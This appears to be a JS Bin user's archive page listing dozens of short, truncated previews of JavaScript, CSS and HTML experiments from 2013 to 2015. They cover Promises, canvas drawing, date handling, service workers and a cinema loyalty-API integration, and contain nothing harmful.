gocoku 02 Apr 2015 Archive Un-archive BASEDATA 20150402141522 N 0 Found 4 Newsletter Newsletter Y 1 Picturehouse Members Picturehouse N 2 Arts Picturehouse Cambridge 23 Chiswick Picturehouse 1 Cinema City Norwich 18 City Screen York 20 Clapham Picturehouse 24 Crouch End Pictu
juqeju 01 Apr 2015 Archive Un-archive 'use strict'; var c = document.querySelector('canvas'), ctx = c.getContext('2d'), width = 200, height = 100, RAD = 0.0174532925; c.width = width; var hw = width/2; c.height = height; var hh = height/2; ctx.fillRect(0, 0, width, height); ctx.strokeStyle =
4 01 Apr 2015 Archive Un-archive 'use strict'; var c = document.querySelector('canvas'), ctx = c.getContext('2d'), width = 500, height = 300; c.width = width; var hw = width/2; c.height = height; var hh = height/2; ctx.fillRect(0, 0, width, height); ctx.strokeStyle = '#FFEB3B'; ctx.fillS
3 01 Apr 2015 Archive Un-archive 'use strict'; var c = document.querySelector('canvas'), ctx = c.getContext('2d'), width = 500, height = 300; c.width = width; var hw = width/2; c.height = height; var hh = height/2; ctx.fillRect(0, 0, width, height); ctx.strokeStyle = '#FFEB3B'; function
2 01 Apr 2015 Archive Un-archive var c = document.querySelector('canvas'), ctx = c.getContext('2d') width = 500 height = 300; c.width = width; var hw = width/2; c.height = height; var hh = height/2; ctx.fillRect(0, 0, width, height); ctx.strokeStyle = '#FFEB3B'; function box(scale) { ctx
1 01 Apr 2015 Archive Un-archive var c = document.querySelector('canvas'), ctx = c.getContext('2d') width = 500 height = 300; c.width = width; var hw = width/2; c.height = height; var hh = height/2; function box(scale) { ctx.strokeRect(0 - hw/scale, 0 - hh/scale, width/scale, height/scal
hutecu 01 Apr 2015 Archive Un-archive var a = [{key: 'a', value: 1}, {key: 'b', value: 2}, { key: 'c', value: 3 }]; var lookup = a.reduce(function (prev, curr, i) { prev[curr.key] = curr.value; return prev; }, {}); console.clear(); console.log(lookup);
nirawi 27 Mar 2015 Archive Un-archive // var els = document.querySelectorAll('p'); // var showing = 0; // setInterval(function() { // // this is easier with classlist, but meh: // els[showing].className = els[showing].className.replace(' active', ''); // showing = (showing + 1) % 5; // els[sh
kajexu 27 Mar 2015 Archive Un-archive You can even do it in IE8. So go forth and vertically center all the things! (a mini-rant by @jaffathecake)
qajage 25 Mar 2015 Archive Un-archive var p = new Promise(function (resolve, reject) { throw new Error('broken'); }).catch(function (e) { throw e; }); console.log('but code is okay')
zavuta 23 Mar 2015 Archive Un-archive 'use strict'; function doit(n) { // ctr++; return new Promise(function (resolve) { setTimeout(function () { resolve(n); }, 1000 * Math.random() + 500); }); } console.clear(); console.log('start'); var a = [1,2,3,4]; Promise.all(a.map(function (n) { var i
qewufa 13 Mar 2015 Archive Un-archive JS Bin
newamo 13 Mar 2015 Archive Un-archive POST /WSVIstaWebClient/LoyaltyService.asmx HTTP/1.1 Host: ticketing.picturehouses.com SOAPAction: "http://vista.co.nz/services/WSVistaWebClient.ServiceContracts/1/UpdateMember" Content-Type: text/xml Cache-Control: no-cache Postman-Token: 696ce168-67b0-eb
qosowe 13 Mar 2015 Archive Un-archive JS Bin
soxamo 10 Mar 2015 Archive Un-archive &lt;NewDataSet&gt; &lt;xs:schema id="NewDataSet" xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata"&gt; &lt;xs:element name="NewDataSet" msdata:IsDataSet="true" msdata:UseCurrentLocale="true"&gt; &lt;x
dogeko 06 Mar 2015 Archive Un-archive true SVXXXXXXX Martin XXXXXXXX Martin XXXXXXXX XXXXXXXXXX XXXXXXXXXXX mail@XXXXXXXXXX.co.uk 1 1 Rewards Points Balance 0 0 true 0.00 XXXXXXXXXXX XXXXXXXXXXXXXXXX Hove XXXXXX false 0 0 0 XXXXXXXXXXXX 0 19 19 9 7 Picturehouse Members false
lebun 06 Mar 2015 Archive Un-archive console.clear(); m = moment('0001-01-01T00:00:00Z').toDate().getYear(); // how do I get `toDate` to be set at midnight? console.log(m)
5 05 Mar 2015 Archive Un-archive console.clear(); m = moment().add('1', 'day'); // how do I get `toDate` to be set at midnight? console.log(m.startOf('day').toDate().toString())
4 05 Mar 2015 Archive Un-archive console.clear(); m = moment().add('1', 'day'); // how do I get `toDate` to be set at midnight? console.log(m.toDate())
3 05 Mar 2015 Archive Un-archive console.clear(); m = moment().add('1', 'day'); console.log(m.toDate()) console.log(m.format('YYYY-MM-DD 00:00:00'))
2 05 Mar 2015 Archive Un-archive console.clear(); m = moment().add('1', 'day'); console.log(m.toDate().toString()) console.log(m.format('YYYY-MM-DD 00:00:00'))
1 22 Dec 2014 Archive Un-archive console.clear(); m = moment().add('6', 'day'); console.log(m.toDate().toString()) console.log(m.format('dddd Do MMM'))
haruci 05 Mar 2015 Archive Un-archive // just a demo - and is this streaming? and what
2 05 Mar 2015 Archive Un-archive // just a demo - and is this streaming?
1 05 Mar 2015 Archive Un-archive // just a demo
camuse 03 Mar 2015 Archive Un-archive var dataItems = $('DataItem').filter(function (i, el) { return this.getAttribute('DataItemType') === 'Cinema'; }).get(); console.clear(); var data = dataItems.map(function (data, i) { if (i === 0) { console.log($(data).find('[name="CinemaID"]').get()); }
1 27 Feb 2015 Archive Un-archive var dataItems = $('DataItem').filter(function (i, el) { return this.getAttribute('DataItemType') === 'Cinema'; }).get(); console.clear(); var data = dataItems.map(function (data, i) { if (i === 0) { console.log($(data).find('[name="CinemaID"]').get()); }
nalotu 02 Mar 2015 Archive Un-archive See the JavaScript and the processor selected:
1 02 Mar 2015 Archive Un-archive See the JavaScript and the processor selected:
nekayu 27 Feb 2015 Archive Un-archive var di = $('DataItem'); console.clear(); console.log(di.length); console.log(di.find('param').length); /* WAT? Even though jQuery "kinda" works to navigate this XML, I'm struggling to get the values out :-\ */ console.log(di.find('param:last').text()); co
1 27 Feb 2015 Archive Un-archive var di = $('DataItem'); console.clear(); console.log(di.length); console.log(di.find('param').length); console.log(di.find('param:first').text()); console.log(di.find('param:first').html()); console.log(di.find('param:first').get(0).innerHTML); console.lo
zurowo 27 Feb 2015 Archive Un-archive Hello
zigesa 24 Feb 2015 Archive Un-archive Invoice: Quantity: Costs: Total: {{qty * cost | currency}}
qecuti 20 Feb 2015 Archive Un-archive &lt;?xml version="1.0" encoding="utf-16"?&gt; &lt;VistaLoyaltyMsg xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"&gt; &lt;MsgID /&gt; &lt;MsgType&gt;BASEDATA&lt;/MsgType&gt; &lt;MsgTime&gt;20150218092653&
balulu 17 Feb 2015 Archive Un-archive var Cache = (function () { 'use strict'; var storeSignature = '-store-signature'; // if (typeof Promise === 'undefined') { // require('es6-promise').polyfill(); // } function MemoryStore() { this.data = {}; return this; } MemoryStore.prototype = { get: fu
lorubo 17 Feb 2015 Archive Un-archive (function () { if (typeof Promise === 'undefined') { alert('do it') Promise = 'remy'; } })()
dufeyo 13 Feb 2015 Archive Un-archive Select: 15.30 18.15 21.00
tuhime 11 Feb 2015 Archive Un-archive console.clear(); doit('c:\\program files\\my apps\\node.exe some arg'); doit('cat readme.md | wc'); function doit(s) { console.log( s.split('\\').map(function (s) { return s.replace(/(.*\s.*?)/g, '\\"$1"\\'); }).join('\\') ); }
tidaja 06 Feb 2015 Archive Un-archive I'm hoping it works.
yopena 05 Feb 2015 Archive Un-archive JS Bin
kuvecu 04 Feb 2015 Archive Un-archive JS Bin
tulica 04 Feb 2015 Archive Un-archive # User experience * Additional fields when signing up and creating a profile * Ability to request an introduction after the initial Tentoring exchange * Ability to rate questions * Ability to post valuable responses to a public forum # Administrative func
nosesu 04 Feb 2015 Archive Un-archive YES IT IS!!!
roveju 29 Jan 2015 Archive Un-archive hide me show me
xagive 28 Jan 2015 Archive Un-archive class Test{ const }
ciceqa 20 Jan 2015 Archive Un-archive 'use strict'; var obj = { _name: 'Remy', get name() { console.log('getting'); return this._name; }, set name(n) { console.log('setting'); this._name = n; } }; console.log(obj.name); obj.name = 'Jim';
wehola 19 Jan 2015 Archive Un-archive nodemon
toxeko 13 Jan 2015 Archive Un-archive This is my demo ......
hicoq 09 Jan 2015 Archive Un-archive ![Lorem](/image "ok")
lazehe 08 Jan 2015 Archive Un-archive function func1({hello}={hello:'world'}) { console.log(hello); } function func2({hello='world'}={}) { console.log(hello); } function func3({hello='world', foo}={foo:'bar'}) { console.log(hello, foo); } [ 'func1()', 'func1({})', 'func1({hello: "all"})', 'fu
lusohu 07 Jan 2015 Archive Un-archive for (i; i < 10; i++) { console.log(i) }
lekej 31 Dec 2014 Archive Un-archive 'use strict'; var canvas = document.getElementById('c'); var ctx = canvas.getContext('2d'); var scale = 1; var base = 16; var width = canvas.width = scale * base; var height = canvas.height = scale * base; var code = '00000110100'; var pixels = ctx.create
3 31 Dec 2014 Archive Un-archive 'use strict'; var canvas = document.getElementById('c'); var ctx = canvas.getContext('2d'); var scale = 20; var base = 16; var width = canvas.width = scale * base; var height = canvas.height = scale * base; var code = '00000110100'; var pixels = ctx.creat
2 31 Dec 2014 Archive Un-archive 'use strict'; var canvas = document.getElementById('c'); var ctx = canvas.getContext('2d'); var width = canvas.width = 256; var height = canvas.height = 256; var code = '00000110100'
1 31 Dec 2014 Archive Un-archive 'use strict'; var canvas = document.getElementById('c'); var ctx = canvas.getContext('2d'); var width = canvas.width = 256; var height = canvas.height = 256;
minifi 31 Dec 2014 Archive Un-archive var s = 'line\\nline'; console.clear(); console.log(JSON.stringify(s)); console.log(JSON.stringify(s.replace(/\\(.)/g, '\$0')));
natubu 30 Dec 2014 Archive Un-archive $.getJSON("//ip-api.com/json/?callback=?", function(data) { var table_body = ""; $.each(data, function(k, v) { table_body += "<tr><td>" + k + "</td><td><b>" + v + "</b></td></tr>"; }); $("#GeoResults").html(table_body); });
pucopo 29 Dec 2014 Archive Un-archive .......
rojuma 23 Dec 2014 Archive Un-archive var ctx = document.getElementById('c').getContext('2d'); var width = 16; var height = 16; // 16x16 var pixel = 32; var border = 1; var w = ctx.canvas.width = width * pixel + (border * width + border); var h = ctx.canvas.height = height * pixel + (border *
1 22 Dec 2014 Archive Un-archive var ctx = document.getElementById('c').getContext('2d'); var width = 16; var height = 16; // 16x16 var pixel = 32; var border = 1; var w = ctx.canvas.width = width * pixel + (border * width + border); var h = ctx.canvas.height = height * pixel + (border *
nevaza 17 Dec 2014 Archive Un-archive Charges on your credit card bill will be from "JSBIN PRO". JS Bin Ltd. Company No. 8998555, VAT No. GB189688326. Office 1, 44 Burstead Close, Brighton BN1 7HT
vujol 15 Dec 2014 Archive Un-archive # A heading This is some *copy in italics* and now this is **bold**. And here's a [link](http://example.com) and another to the actual heading [above](#a-heading)
viqiho 12 Dec 2014 Archive Un-archive rect(245, 40, 10, 440);
bococo 12 Dec 2014 Archive Un-archive 502: Dave's left the building JS Bin isn't available right now. Someone should be working on it, and you can check the current status on status.jsbin.com, but do feel free to ping @js_bin. If you want to add details please add it to the issues page and ad
mifura 08 Dec 2014 Archive Un-archive console.clear(); console.log('yay')
qabeto 08 Dec 2014 Archive Un-archive console.clear(); console.log(parseExecutable('/path\\ to\\ node\\ -v')); function parseExecutable(str) { var length = str.length; var i = 0; var exec = null; var execArgs = []; var token = ''; var j = -1; var open = false; var c = null; for (; i < length;
AfosAbo 05 Dec 2014 Archive Un-archive Release commits user/repo Select a release: %sha% %commit.message% %short_date% %commit.author.name% // since we're not using require.js to load, we have to shim in // define and amd support window.define = function(factory) { try{ delete window
4 30 Nov 2014 Archive Un-archive Release commits user/repo Select a release: %sha% %commit.message% %short_date% %commit.author.name% // since we're not using require.js to load, we have to shim in // define and amd support window.define = function(factory) { try{ delete window
3 14 Jan 2014 Archive Un-archive function request(type, url, opts, callback) { var deferred = when.defer(), xhr = new XMLHttpRequest(), pd; if (typeof opts === 'function') { callback = opts; opts = null; } xhr.open(type, url); if (type === 'POST' && opts) { pd = JSON.stringify(opts); xhr
2 27 Nov 2013 Archive Un-archive function request(type, url, opts, callback) { var deferred = when.defer(), xhr = new XMLHttpRequest(), pd; if (typeof opts === 'function') { callback = opts; opts = null; } xhr.open(type, url); if (type === 'POST' && opts) { pd = JSON.stringify(opts); xhr
1 27 Nov 2013 Archive Un-archive Release commits user/repo Select a release: %sha% %commit.message% %short_date% %commit.author.name% // since we're not using require.js to load, we have to shim in // define and amd support window.define = function(factory) { try{ delete window
bivupo 04 Dec 2014 Archive Un-archive console.log('this should not break all js'); alert('The console worked if you can read this')
wubicu 27 Nov 2014 Archive Un-archive /* global Promise */ 'use strict'; console.clear(); var p = new Promise(function (resolve, reject) { setTimeout(function () { reject(new Error('fail')); resolve(10); }, 10); }); p.then(function () { console.log('worked'); }).catch(function () { console.lo
1 27 Nov 2014 Archive Un-archive var p = new Promise(function (resolve) { resolve(10); throw new Error('fail') }); p.then(function () { console.log('worked'); }).catch(function () { console.log('failed'); })
difuto 26 Nov 2014 Archive Un-archive Test from firebug please :) %code% var c = new Tesseract(true); function infoOn(room) { console.log('inspecting "' + room + '" room'); c.rooms[room].doors.forEach(function (item, i) { console.log('door ' + door2direction[i] + ' joinedto ' + (item.joinedt
talonu 26 Nov 2014 Archive Un-archive 0 Header 0 Footer 0 Header 0 Footer
1 26 Nov 2014 Archive Un-archive 0 Header 0 Footer 0 Header 0 Footer
cutomi 26 Nov 2014 Archive Un-archive %code%
wogahu 25 Nov 2014 Archive Un-archive 'use strict'; var count = 0, interval = 5; function doit(results) { var index = -1 * count; index--; while ((index+=interval) < results.length + 1) { results.splice(index, 0, '@'); } count = (count + results.length) % interval; return results; } console.c
pocecu 25 Nov 2014 Archive Un-archive var a = canvas; var b = document.body; var c = a.getContext('2d'); for(_='c.q&&(pi%`qfillStyle=_p_`2?^00Z2ZY/AXX,WYWV60UV2UW1T30RR0QQX+yXP"#OOFFNM%5LE[mKU0JJ,H>`G1GE3/9[i),X+CWPRq);_OZ0";0WUWRX)qshadowMath.cos(i40050l(",_NA for( 
fiyujo 25 Nov 2014 Archive Un-archive My vanity page demo. Sad face.
mudara 21 Nov 2014 Archive Un-archive Vertical centering is impossible in CSS lol! Another line...
dihipi 20 Nov 2014 Archive Un-archive Welcome to Ember.js {{outlet}} {{#each item in model}} {{item}} {{/each}}
sidagu 19 Nov 2014 Archive Un-archive var p = new Promise(function (resolve, reject) { throw new Error('it broke'); });
xuwoca 19 Nov 2014 Archive Un-archive app.get('/foo', function (req, res) { myAwesomePromise(req.username).then(function (data) { res.send(data); }) // if no catch, request is never handled. });
qefuqu 19 Nov 2014 Archive Un-archive console.clear(); class Benservable { constructor(iterable) { this.iterable = iterable; } observe(nextFn, errFn, completeFn) { this.process(this.iterable, nextFn).then(completeFn).then(errFn); } process(iterable, nextFn) { return iterable.next().value.then
gopiqu 19 Nov 2014 Archive Un-archive function seal(fn, ctx) { var args = [].slice.call(arguments, 2); return function () { fn.apply(ctx, args); }; } // seal in ES6 (for kicks): https://jsbin.com/qetal/1/edit?js,console // var seal = (fn, ctx, ...args) => () => { fn.apply(ctx, args) } functio
7 19 Nov 2014 Archive Un-archive function seal() { var fn = arguments[0], ctx = arguments[1], args = [].slice.call(arguments, 2); return function () { fn.apply(ctx, args); }; } function doit() { console.log('args: ' + arguments.length); } console.clear(); doit(1,2,3); var a = doit.bind(n
6 19 Nov 2014 Archive Un-archive function seal() { var fn = arguments[0], ctx = arguments[1], args = [].slice.call(arguments, 2); return function () { fn.apply(ctx, args); }; } function doit() { console.log('args: ' + arguments.length); } console.clear(); doit(1,2,3); var a = doit.bind(n
5 19 Nov 2014 Archive Un-archive function seal() { var fn = arguments[0], ctx = arguments[1], args = [].slice.call(arguments, 2); return function () { fn.apply(ctx, args); }; } } function doit() { console.log('args: ' + arguments.length); } console.clear(); doit(1,2,3); var a = doit.bind
4 18 Nov 2014 Archive Un-archive if (!Function.prototype.seal) { Function.prototype.seal = function () { var fn = this, ctx = arguments[0], args = [].slice.call(arguments, 1); return function () { fn.apply(ctx, args); }; } } function doit() { console.log('args: ' + arguments.length); } c
3 18 Nov 2014 Archive Un-archive if (!Function.prototype.seal) { Function.prototype.seal = function () { var ctx = arguments[0], args = [].slice.call(arguments, 1); return (function () { this.apply(ctx, args); }).bind(this); } } function doit() { console.log('args: ' + arguments.length);
2 18 Nov 2014 Archive Un-archive if (!Function.prototype.seal) { Function.prototype.seal = function () { var args = arguments; return (function () { this.apply(this, args); }).bind(this); } } function doit() { console.log('args: ' + arguments.length); }
1 18 Nov 2014 Archive Un-archive if (!Function.prototype.seal) { Function.prototype.seal = function () { var args = arguments; return (function () { this.apply(this, args); }).bind(this); } }
qetal 19 Nov 2014 Archive Un-archive var seal = (fn, ctx, ...args) => () => { fn.apply(ctx, args) } function doit() { console.log('args: ' + arguments.length); } console.clear(); console.log(new Date().toString()) doit(1,2,3); var a = doit.bind(null, 1, 2); a(3); // allows more args var b =
huwep 13 Nov 2014 Archive Un-archive function test() { try { breakit(); } catch (e) { // ignore me } } new Promise(function (resolve, reject) { test(); resolve() }).then(function () { alert('ok'); }).catch(function () { alert('threw'); })
razegi 12 Nov 2014 Archive Un-archive React.render( <h1>Hello, world!</h1>, document.getElementById('example') );
vekexo 11 Nov 2014 Archive Un-archive // div 3 = fizz // div 5 = buzz // div by both = fizzbuzz console.time('fizzbuzz'); function fizzbuzz (length) { var i = 0; var s = ''; var t = ''; for (; i < length; ) { t = ''; (i + 1) % 3 || (t += 'fizz '); (i + 1) % 5 || (t += 'buzz '); // inc i = i +
igocol 11 Nov 2014 Archive Un-archive mocha.setup({ui:'bdd', reporter:WebConsole}) window.onload = function () { mocha.run(); };
12 05 Nov 2014 Archive Un-archive mocha.setup({ui:'bdd', reporter:WebConsole}) window.onload = function () { mocha.run(); };
11 04 Nov 2014 Archive Un-archive mocha.setup({ui:'bdd', reporter:WebConsole}) window.onload = function () { mocha.run(); };
10 02 Nov 2014 Archive Un-archive mocha.setup({ui:'bdd', reporter:WebConsole}) window.onload = function () { mocha.run(); };
9 02 Nov 2014 Archive Un-archive mocha.setup({ui:'bdd', reporter:WebConsole}) window.onload = function () { mocha.run(); };
8 02 Nov 2014 Archive Un-archive mocha.setup({ui:'bdd', reporter:WebConsole}) window.onload = function () { mocha.run(); };
7 02 Nov 2014 Archive Un-archive mocha.setup({ui:'bdd', reporter:WebConsole}) window.onload = function () { mocha.run(); };
6 02 Nov 2014 Archive Un-archive mocha.setup({ui:'bdd', reporter:WebConsole}) window.onload = function () { mocha.run(); };
5 02 Nov 2014 Archive Un-archive mocha.setup({ui:'bdd', reporter:WebConsole}) window.onload = function () { mocha.run(); };
4 02 Nov 2014 Archive Un-archive mocha.setup({ui:'bdd', reporter:WebConsole}) window.onload = function () { mocha.run(); };
3 02 Nov 2014 Archive Un-archive mocha.setup({ui:'bdd', reporter:WebConsole}) window.onload = function () { mocha.run(); };
2 13 Jul 2013 Archive Un-archive function foo() { throw new Error('I threw up'); } function assert(condition, message) { if (!condition) { throw message || "Assertion failed"; } } describe('foo-test', function () { it('should throw exception', function () { var spy = sinon.spy(foo); asse
1 13 Jul 2013 Archive Un-archive function foo() { throw new Error('I threw up'); } function assert(condition, message) { if (!condition) { throw message || "Assertion failed"; } } describe('foo-test', function () { it('should catch exception', function () { var spy = sinon.spy(foo); asse
vocibu 11 Nov 2014 Archive Un-archive %code%
jojato 10 Nov 2014 Archive Un-archive * { all: initial }
yageca 06 Nov 2014 Archive Un-archive var url = 'https://www.flickr.com/photos/drewm/10757810353/' var photoId = ''; if (url.indexOf('flic.kr') !== -1) { // short url - decode first var num = url.split('/').pop(), decoded = 0, multi = 1, digit = null, alphabet = '123456789abcdefghijkmnopqrstu
tiqipu 06 Nov 2014 Archive Un-archive function getSurrogate(str, idx) { // ex. fixedCharCodeAt ('\uD800\uDC00', 0); // 65536 // ex. fixedCharCodeAt ('\uD800\uDC00', 1); // false idx = idx || 0; var code = str.charCodeAt(idx); var hi, low; // High surrogate (could change last hex to 0xDB7F to
1 04 Nov 2014 Archive Un-archive function getSurrogate(str, idx) { // ex. fixedCharCodeAt ('\uD800\uDC00', 0); // 65536 // ex. fixedCharCodeAt ('\uD800\uDC00', 1); // false idx = idx || 0; var code = str.charCodeAt(idx); var hi, low; // High surrogate (could change last hex to 0xDB7F to
kegoge 06 Nov 2014 Archive Un-archive console.clear(); console.log('ok1'); console.group('Cool'); console.log('top cat'); console.log('the fonz'); console.groupEnd('Cool'); console.log('Maggie thatcher')
qowuga 06 Nov 2014 Archive Un-archive var foo = 1; function doit() { foo *= 2; setTimeout(function () { foo *= 10; }, 200); } setTimeout(doit, 500);
1 06 Nov 2014 Archive Un-archive var foo = 1; function doit() { foo *= 2; setTimeout(function () { foo *= 10; }, 200); } setTimeout(doit, 500);
seded 06 Nov 2014 Archive Un-archive $('body').on('click', function () { $('li').each(function () { console.log(this); }); });
voguzi 05 Nov 2014 Archive Un-archive 'use strict'; var data = [ 'Ryan Brooks,,@spikeheap', 'Sam Trangmar-Keates,Message,', 'Jack Stevenson,Amazon,', 'David Normington,,', 'Max Murdoch,,', 'Matt Uttridge,,', 'Paul Verbeek,Indivirtual,@_paulverbeek', 'Oli Evans,JavaScript Adventure Club,@olizi
1 05 Nov 2014 Archive Un-archive 'use strict' var data = ['Ryan Brooks,,@spikeheap', 'Sam Trangmar-Keates,Message,', 'Jack Stevenson,Amazon,', 'David Normington,,', 'Max Murdoch,,', 'Matt Uttridge,,', 'Paul Verbeek,Indivirtual,@_paulverbeek', 'Oli Evans,JavaScript Adventure Club,@olizill
naxix 05 Nov 2014 Archive Un-archive the mask. the ray-traced picture. and finally, the wireframe city. (text in heading resizes to always be the right width, because I sized it in vw's and fiddled with the number until it was right.)
suduze 05 Nov 2014 Archive Un-archive var links = ['This should fit to the full width of the page', 'but it doesn\'t', 'seriusly. WTF?', 'Why doesn\'t CSS do this yet?', 'Heck, we can wrap text around in a circle in CSS', 'but we can\'t scale it to the viewport automtically?', 'This is the we
qicatu 04 Nov 2014 Archive Un-archive JS Bin
jeyug 31 Oct 2014 Archive Un-archive JS Bin
zakaqa 30 Oct 2014 Archive Un-archive Details for ffconf 2014 Hi there, Please find below important and useful information to make sure your visit to our #ffconf JavaScript Conference on Friday 7th November 2014 is a super dooper awesome time! Note that we&#39;ve also published all these deta
1 29 Oct 2014 Archive Un-archive Details for ffconf 2014 Hi there, Please find below important and useful information to make sure your visit to our #ffconf JavaScript Conference on Friday 7th November 2014 is a super dooper awesome time! Note that we&#39;ve also published all these deta
cegero 30 Oct 2014 Archive Un-archive JS Bin
ruyeh 28 Oct 2014 Archive Un-archive with (this) { voodoo = 'remy'; } console.log(voodoo)
desape 27 Oct 2014 Archive Un-archive var id="remy"; var location="brighton"
kogis 23 Oct 2014 Archive Un-archive Waiting...
jixovu 23 Oct 2014 Archive Un-archive left:{{moment "HH:MM" date}}:right you can use any of the formats here docs
vahef 23 Oct 2014 Archive Un-archive 0
midib 23 Oct 2014 Archive Un-archive /* Cool box model is cool */ html { box-sizing: border-box; } * { box-sizing: inherit; } /* Makes all containers the height of viewport */ html, body, .areas { height: 100%; } /* Enable flexbox system for areas, column layout, wrapping */ .areas { display
1 23 Oct 2014 Archive Un-archive area A area B area C
dayobu 23 Oct 2014 Archive Un-archive html { min-height: 100%; background: #fff url(//cl.ly/YBCH/Screen%20Shot%202014-10-23%20at%2011.39.20.png) no-repeat; background-position: center; background-size: contain; }
qiwawo 22 Oct 2014 Archive Un-archive I once wrote about CACHE MANIFEST
viliya 22 Oct 2014 Archive Un-archive Finally, native menu items Right click me. Go on. And if you're on mobile...well, I don't know. And yeah, it's currently Firefox only.
1 22 Oct 2014 Archive Un-archive Hello World
cigoju 22 Oct 2014 Archive Un-archive it's&thinsp;friday.io Coming soon. Or&nbsp;on&nbsp;a&nbsp;Friday&hellip;
giyope 21 Oct 2014 Archive Un-archive if (!window.URL) { window.URL = window.webkitURL; } document.querySelector('input').onchange = function () { var file = this.files[0]; // the file from <input type="file" var url = window.URL.createObjectURL(file); console.log(url); // blob:somehost.com/s
1 21 Oct 2014 Archive Un-archive if (!window.URL) { window.URL = window.webkitURL; } document.querySelector('input').onchange = function () { var file = this.files[0]; // the file from <input type="file" var url = window.URL.createObjectURL(file); console.log(url); // blob:somehost.com/s
xekafi 21 Oct 2014 Archive Un-archive Open your Chrome devtools...because sometimes, just sometimes, you need more than just a regular warning.
fogufu 21 Oct 2014 Archive Un-archive When the button is no longer disabled, the font reverts back to system fonts. wtf?
wibido 21 Oct 2014 Archive Un-archive A demo vanity page
qawolo 17 Oct 2014 Archive Un-archive ok?
fixoku 17 Oct 2014 Archive Un-archive ok
gexez 17 Oct 2014 Archive Un-archive say it
bicoki 17 Oct 2014 Archive Un-archive Delete test.
qibozi 16 Oct 2014 Archive Un-archive JS Bin
naxiru 16 Oct 2014 Archive Un-archive /* global $*/ 'use strict'; var video = $('video'); $('input').on('change', function () { var blob = window.URL.createObjectURL(this.files[0]); video.src = blob; video.load(); });
3 15 Oct 2014 Archive Un-archive /* global $*/ 'use strict'; var video = $('video'); $('input').on('change', function () { var blob = window.URL.createObjectURL(this.files[0]); video.src = blob; video.load(); i = new Image() i.src = blob document.body.appendChild(i) });
2 15 Oct 2014 Archive Un-archive /* global $*/ 'use strict'; var video = $('video'); $('input').on('change', function () { var blob = window.URL.createObjectURL(this.files[0]); video.src = blob; video.load(); });
1 15 Oct 2014 Archive Un-archive /* global $*/ 'use strict'; var video = $('video'); $('input').on('change', function () { var blob = window.URL.createObjectURL(this.files[0]); video.src = blob; video.load(); });
bewit 16 Oct 2014 Archive Un-archive This is just a simple paragraph. The mouse moved 0 times.
2 16 Oct 2014 Archive Un-archive This is just a simple paragraph. The mouse moved 0 times.
1 16 Oct 2014 Archive Un-archive This is just a simple paragraph
bofiqu 16 Oct 2014 Archive Un-archive This was created by @rem who has a pro account, so I can embed the full output :)
dijuwo 15 Oct 2014 Archive Un-archive if ('serviceWorker' in navigator) { navigator.serviceWorker.register('https://jsbin.com/seraxu.js').then(function(sw) { // registration worked! console.log('service worker registered'); }).catch(function(e) { // registration failed :( console.log('failed
seraxu 15 Oct 2014 Archive Un-archive this.addEventListener('install', function(event) { console.log('installed'); });
wehale 15 Oct 2014 Archive Un-archive &lt;div class=&quot;tube&quot;&gt; &lt;div class=&quot;bolhas-top bolha1&quot;&gt;&lt;/div&gt; &lt;div class=&quot;bolhas-top bolha2&quot;&gt;&lt;/div&gt; &lt;div class=&quot;bolhas-top bolha3&quot;&gt;&lt;/div&gt; &lt;div class=&quot;bolhas-top bolha4&qu
caxeju 15 Oct 2014 Archive Un-archive This is demo.
gacume 15 Oct 2014 Archive Un-archive .Browser, .Browser * { box-sizing: border-box; } .Browser { border: 1px solid #c3c3c3; border-radius: 4px; box-shadow: 0px 2px 3px 0px rgba(50, 50, 50, 0.11); animation: zoom 500ms; font-size: 1em; } .Browser-header { background: #e8e8e8; border-radius: 4
sodec 15 Oct 2014 Archive Un-archive !!!5 html
yibiwa 15 Oct 2014 Archive Un-archive Focus demo Here be content that's focusable. Note that I've purposely added tabindex=0 to a lot of these elements simply for demonstration purposes. Assuming you're not on mac (and Firefox or Safari) you can focus these links too. one two three four O
1 15 Oct 2014 Archive Un-archive Focus demo Here be content that's focusable. Note that I've purposely added tabindex=0 to a lot of these elements simply for demonstration purposes. Assuming you're not on mac (and Firefox or Safari) you can focus these links too. one two three four O
zefezi 14 Oct 2014 Archive Un-archive (function (window) { 'use strict'; /** * TODO * - storage events * - setter/getter/deleter not possible * - set/get/remove * - support WebSQL */ console.log('does this work again? why you no work?') var noop = function () { // console.log('noop', [].slice
cijuki 14 Oct 2014 Archive Un-archive This is just a demo....Okay, so state still works. And again.
1 14 Oct 2014 Archive Un-archive This is just a demo....
rowig 14 Oct 2014 Archive Un-archive This is my demo
qejiwo 14 Oct 2014 Archive Un-archive function getGoogleTokens(client, code) { return new Promise(resolve, reject) { resolve(tokens()); }); } function createFtAccessToken(user) { return new Promise(resolve, reject) { createFtAccessToken(user).then(function (accessToken) { resolve({ user: user
vaquco 14 Oct 2014 Archive Un-archive %code% console.clear(); console.log(Math.random()); new Promise(function p(resolve, reject) { resolve(10) }).then(function (data) { console.log('>>> data: ' + data); return 20; }).catch(function (error) { console.log('>>> error') console.error(error.sta
4 14 Oct 2014 Archive Un-archive %code% console.clear(); console.log(Math.random()); new Promise(function (resolve, reject) { resolve(10) }).then(function (data) { console.log('>>> data: ' + data); }).catch(function (error) { console.log('>>> error') console.error(error.stack); });
3 29 Jul 2014 Archive Un-archive %code% console.clear(); console.log(Math.random()); new Promise(function (resolve, reject) { resolve(10) }).then(function (data) { console.log('>>> data: ' + data); }).catch(function (error) { console.log('>>> error') console.error(error.stack); });
2 23 Jul 2014 Archive Un-archive %code% console.clear(); console.log(Math.random()); new Promise(function (resolve, reject) { resolve(10) }).then(function (data) { console.log('data: ' + data); }).catch(function (error) { console.error(error.stack); });
1 23 Jul 2014 Archive Un-archive %code% console.clear(); console.log(Math.random()); new Promise(function (resolve, reject) { resolve(10) }).then(function (data) { console.log('data: ' + data); }).catch(function (error) { console.error(error.stack); });
gipuzi 14 Oct 2014 Archive Un-archive //noprotect var image = new Image(), canvas = document.createElement("canvas"), ctx = canvas.getContext("2d"), cell = { width: 4, height: 7 }, pixels = 0; function clear(){ ctx.fillStyle = "#FFF"; ctx.fillRect(0, 0, cell.width, cell.height); } var xxx = "
muyif 14 Oct 2014 Archive Un-archive function foo() { console.log('ok') } foo()
gonuf 13 Oct 2014 Archive Un-archive Hello world
wenad 12 Oct 2014 Archive Un-archive Just an example I hope.
bifahu 11 Oct 2014 Archive Un-archive sessionStorage.setItem('name', 'remy'); sessionStorage.getItem('name', function (error, value) { console.log(error, value); });
